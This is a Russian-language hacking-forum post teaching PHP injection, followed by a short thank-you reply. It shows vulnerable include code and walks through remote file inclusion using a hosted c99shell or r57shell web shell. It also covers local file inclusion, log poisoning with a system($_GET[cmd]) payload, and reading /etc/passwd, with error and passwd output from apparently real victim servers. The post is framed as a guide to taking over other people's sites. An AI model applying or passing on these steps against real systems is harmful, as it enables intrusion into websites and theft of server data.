PHP - injection на практике.

D

Dark User

Гость
slide_11.jpg


PHP-инъекция (англ. PHP injection) — один из способов взлома веб-сайтов, работающих на PHP, заключающийся в выполнении постороннего кода на серверной стороне. Потенциально опасными функциями являются:
PHP код:
eval(),
preg_replace() (с модификатором «e»),
require_once(),
include_once(),
include(),
require(),
create_function().


PHP-инъекция становится возможной, если входные параметры принимаются и используются без проверки.

Пример кривого кода:
PHP код:
<?
...
$module = $_GET['module'];
include $module . '.php';
...
?>

С помощью этой ошибки мы можем подставить свой ядовитый код со своего сайта и выполнить инъекцию удаленно - это называется глобальный инклуд.

Например имеется сайт
Для просмотра ссылки Войди или Зарегистрируйсяfoto

Подставляем произвольно буквы вместо foto

Для просмотра ссылки Войди или Зарегистрируйсяadminloh

и видим ошибку такого плана:
Код:
Warning: include_once(pidori) [function.include-once]: failed to open stream: No such file or directory in /home/catenabrasil/www/portal/index.php on line 69
Warning: include_once() [function.include]: Failed opening 'wert' for inclusion (include_path='.:/usr/share/pear/:/usr/lib/php/') in /home/catenabrasil/www/portal/index.php on line 69
Это 90% уязвимый сайт.
Подставляем вместо параметра foto линк на наш сайт на хостинге (сайт не должен поддерживать php скрипты иначе будет все выполнятся на нашем сайте, а не на сайте жертвы) с заранее залитым веб-шелом...

Я использую c99shell и r57shell...
И получается линк такого плана Для просмотра ссылки Войди или Зарегистрируйся
И если все верно то мы получаем веб шелл... Сайт у нас в руках))

Локальный PHP - инклуд
Позволяет злоумышленнику инклудить файлы лежащие на сервере.
Пример кривого кода:
PHP код:
?php
include("include/$file");
?>


С помощью этого бага возможно инклудить т.е читать файлы на серваке... Например на сайте можно загружать файлы с любым разрешением, и мы имеем возможность загрузить свой php код и проинклудить его получив веб шелл, или прочитать логи ошибок сервака, например в лог идут все ошибки 404... мы подставляем в линк сайта свой php код:
PHP код:
<?php system($_GET[cmd]) ?>

и он выдает нам ошибку 404... мы инклудим лог и получаем веб шелл CMD...

Пример сайта Для просмотра ссылки Войди или Зарегистрируйсяfoto
Заменяем Для просмотра ссылки Войди или Зарегистрируйсяqwert и видим ошибку:
Код:
Warning: main(files/content/qwer) [function.main]: failed to open stream: No such file or directory in /home/u3/bmohler/html/index.php on line 38
Инклудим файл /etc/passwd - Для просмотра ссылки Войди или Зарегистрируйся
и видим примерно такое:
Код:
# $FreeBSD: src/etc/master.passwd,v 1.25.2.6 2002/06/30 17:57:17 des Exp $ # root:*:0:0::/root:/usr/local/bin/bash toor:*:0:0:Bourne-again Superuser:/root: daemon:*:1:1:Owner of many system processes:/root:/sbin/nologin operator:*:2:5:System &:/:/sbin/nologin bin:*:3:7:Binaries Commands and Source:/:/sbin/nologin tty:*:4:65533:Tty Sandbox:/:/sbin/nologin kmem:*:5:65533:KMem Sandbox:/:/sbin/nologin games:*:7:13:Games pseudo-user:/usr/games:/sbin/nologin news:*:8:8:News Subsystem:/:/sbin/nologin man:*:9:9:Mister Man Pages:/usr/share/man:/sbin/nologin sshd:*:22:22:Secure Shell Daemon:/var/empty:/sbin/nologin smmsp:*:25:25:Sendmail Submission User:/var/spool/clientmqueue:/sbin/nologin mailnull:*:26:26:Sendmail Default User:/var/spool/mqueue:/sbin/nologin bind:*:53:53:Bind
Это мы произвели инклуд /etc/passwd...

Таким же образом можно проинклудить логи ошибок и БД...
 

IvanVodkaGr

Новорег
23
30
3 Апр 2017
Хотел узнать как работает эта уязвимость. Узнал, спасибо!
 

Похожие темы